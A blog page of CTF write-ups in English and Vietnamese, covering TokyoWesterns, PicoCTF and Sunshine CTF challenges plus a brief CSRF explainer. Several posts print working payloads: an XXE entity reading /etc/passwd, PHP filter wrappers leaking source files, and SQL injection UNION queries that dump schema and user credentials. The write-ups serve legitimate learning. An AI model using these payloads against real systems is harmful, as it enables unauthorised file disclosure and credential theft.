real-baby-rsa TokyoWesterns CTF 5th 2019

Hi everyone, this is the next post in the series of writeup of the TokyoWesterns CTF 5th 2019 contest, and it is  a cryptographic challenge : real-baby-rsa

Link: real-baby-rsa

Initially, because this was the first time our team participated in this competition, we thought it would be difficult to complete a challenge, but surprisingly, the organizers gave the challenge from easy to hard. and that makes us appreciate, let's start!

Look at the problem.py:


We can easily understand the flow of coding here: People create each part of the ciphertext(output.txt) by encoding each character of the flag with RSA with N, e already known.

Therefore, the solution to this problem is simply brute force, for each part of the cirpher text, we will try to encode with RSA each character in ascii charset, repeat this step for all parts of the cirpher text.

Here is my script python for the solution: my solution





Flag: TWCTF{padding_is_important}

Thanks for watching :)
Share:

j2x2j TokyoWesterns CTF 5th 2019

Recently, our team wanted to improve CTFtime's rankings so they worked harder, and this time it was TokyoWesterns CTF, the following is the write up of j2x2j web challenge!

    Link: http://j2x2j.chal.ctf.westerns.tokyo/


At the gance, I saw this word : "JSON <-> XML Converter" in the title. Obviously, I would immediately think of XXE.

Back to the site's interface, there are 2 boxes, a json format box, and an xml format box. By using the following payload, we can determine if it is really a XXE vulnerability or not.

<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<root>&test;</root>

Put this payload and boom!


Later, I found that the site was written by PHP, and in may poison repository, there were weapons available to solve this problem :) I used PHP wrapper inside XXE

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<contacts>
  <contact>
    <name>lnlinh31 &xxe; </name>
  </contact>
</contacts>





Looking at the first line of index.php, you know what to do?

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=flag.php"> ]>
<contacts>
  <contact>
    <name>lnlinh31 &xxe; </name>
  </contact>
</contacts>


Flag: TWCTF{t1ny_XXE_st1ll_ex1sts_everywhere}


Hope this article makes you satisfied, thanks for watching :)
Share:

Secure Logon - PicoCTF 2018 web challenge writeup

Flag: picoCTF{fl1p_4ll_th3_bit3_2efa5ba8}
Source: https://www.dropbox.com/s/awe7dej0zdhnhrh/server_noflag.py?dl=0


Đề bài cho source như trên, chúng ta cùng phân tích nào! Nhưng đầu tiên, ta vẫn ngó qua xem giao diện web trông ra sao: 

Khái quát là: Một trang đăng nhập, với bất kì username khác "admin" thì sẽ đăng nhập thành công vào ra giao diện như hình trên, chú ý trường admin : 0 đồng nghĩa với việc ta không có flag :)) 
Đến đây, 99,99% nếu ta đặt được admin:1 thì ta sẽ có flag! Vậy ta làm việc đó bằng cách nào ?

Quay lại phân tích source đề cung cấp , ta nhận ra rằng : ở hàm login(), sau khi lấy username và password thì ứng dụng web này sinh ra 1 cookie bằng cách mã hóa AES với mode CBC


Sau đó điều hướng đến path /flag, tại path /flag, chương trình sẽ decrypt AES cái cookie mà đã set ở trên, sau đó kiểm tra nếu trường admin =1 thì trả flag, như vậy là dự đoán ở trên là đúng, giờ việc của chúng ta là cần tạo ra 1 ciphertext đặt vào cookie để sau khi ứng dụng nhận được cookie này decrypt lại ra chuỗi json có trường admin là 1.

Thực ra vấn đề bây giờ quay về việc khai thác hệ mật AES mode CBC, kỹ thuật chúng ta sẽ dùng để khai  ở đây có tên gọi là bit-flipping , đây là kỹ thuật bạn có thể ép 1 ciphertext decrypt thành 1 message nào đó mà ta mong muốn, các bạn có thể gg để hiểu rõ hơn, sau đây là solution:


Share:

CSRF - Cross Site Request Forgery

Mục lục:
  1. CSRF là gì ?
  2. Lịch sử
  3. Kịch bản tấn công

1. CSRF là gì ?
    - CSRF ( Cross Site Request Forgery) là kĩ thuật tấn công bằng cách sử dụng quyền chứng thực của người sử dụng đối với 1 website khác. Các ứng dụng web hoạt động theo cơ chế nhận các câu lệnh HTTP từ người sử dụng, sau đó thực thi các câu lệnh này.
    -  CSRF là kỹ thuật tấn công vào người dùng, dựa vào đó hacker có thể thực thi những thao tác phải yêu cầu sự chứng thực. Hiểu một cách nôm na, đây là kỹ thuật tấn công dựa vào mượn quyền trái phép.
    - CSRF còn được gọi là "session riding", "XSRF".

2. Lịch sử CSRF
    - Năm 2008 người ta phát hiện ra có khoảng 18 triệu người sử dụng eBay ở Hàn Quốc mất các thông tin cá nhân của mình. Cũng trong năm 2008, một số khách hàng tại ngân hàng Mexico bị mất tài khoản cá nhân của mình.Trong 2 trường hợp kể trên hacker đều sử dụng kĩ thuật tấn công CSRF.

3. Kịch bản tấn công


Share:

Sunshine CTF 2019 web solution: WrestlerBook

Link: http://archive.sunshinectf.org:19006/index.html


Lại là form login, điều đầu tiên ta nghĩ đến nên là admin/admin hoặc là lỗi SQLi với form. Ta thử với payload : 1' or 1=1; và ra thông tin về Hulk Hogan

Ta thấy ngay Flag: N/A và đoán được rằng trong database sẽ 1 bảng chứa thông tin các võ sĩ, và sẽ có trường flag trong bảng đó, vấn đề bây giờ là tìm ra được tài khoản thật sự chứa flag.
Quay lại form đăng nhập, tiến hành nhập lỗi cho user/pass thì thấy báo lỗi từ SQLite3 database.

Tiếp tục đếm số cột trong câu truy vấn bằng order by ta biết được có 8 cột, đến đây ta có thể sử dụng kỹ thuật khai thác lỗi basic error SQLi để lấy thông tin:

Username: lnlinh31 Password: ' union SELECT 1, 2, group_concat(name), 4, group_concat(sql), 6, 7, 8 FROM sqlite_master WHERE type = "table";

web trả về kết quả như sau: 

CREATE TABLE `users` ( `username` TEXT, `password` TEXT, `avatar` TEXT, `age` INTEGER, `name` TEXT, `title` TEXT, `flag` TEXT, `id` INTEGER PRIMARY KEY AUTOINCREMENT ),CREATE TABLE sqlite_sequence(name,seq)

Đến đây đã rõ các cột trong bảng users , ta tiến hành dump dữ liệu từ bảng này: 

Username: lnlinh31 Password: ' union SELECT group_concat(username), group_concat(password), group_concat(avatar), group_concat(age), group_concat(name), group_concat(title), group_concat(flag), group_concat(id) FROM users;


Flag: sun{ju57_4n07h3r_5ql1_ch4ll}





Share:

PicoCTF 2018 writeup : Artisinal Handcrafted HTTP 3 - Points: 300

Đề bài: nc 2018shell.picoctf.com 4914



- Chall bắt người chơi phải viết tay những  header của gói tin HTTP để giao tiếp với server có tên là flag.local và đề bài đã cung cấp username/password là: realbusinessuser/potoooooooo.

- Như vậy nhiệm vụ của chúng ta đã rõ: Đó là viết request gửi form đăng nhập đến flag.local để nhận flag. Mạnh dạn gửi 1 request như sau:
           
và nhận lại response:



status code 302 thông báo chuyển hướng đến location: / do đó ta gửi thêm 1 request nữa để lấy flag: 



nhớ kèm theo Cookie để server accept !

và kết quả là: 


Flag: picoCTF{0nLY_Us3_n0N_GmO_xF3r_pR0tOcol5_251f}






Share:

PicoCTF 2018 writeup: The vault (Web challenge)

Link : http://2018shell.picoctf.com:49030/
Đầu tiên, chúng ta có thể đọc source login.php:


Nhìn qua thì challenge này tương tự chall http://2018shell2.picoctf.com:52135/login.html - Irish Name Repo.

Đây là lỗi SQL nhưng khác Irish Name Repo ở chỗ có 1 bộ lọc, bộ lọc này lọc từ "OR" , vì thế chúng ta không thể sử dụng payload kiểu như: 1' OR 1 = 1 -- .

Nhưng thay vì sử dụng "OR" chúng ta vẫn có thể sử dụng "UNION" để khai khác lỗi SQL.
Nhập password : 'union select 1 from users -- 
Lúc này câu truy vấn là : SELECT 1 FROM users WHERE name='' AND password=''union select 1 from users --
Vậy là chúng ta đăng nhập thành công!

Flag: picoCTF{w3lc0m3_t0_th3_vau1t_c4738171}



Share: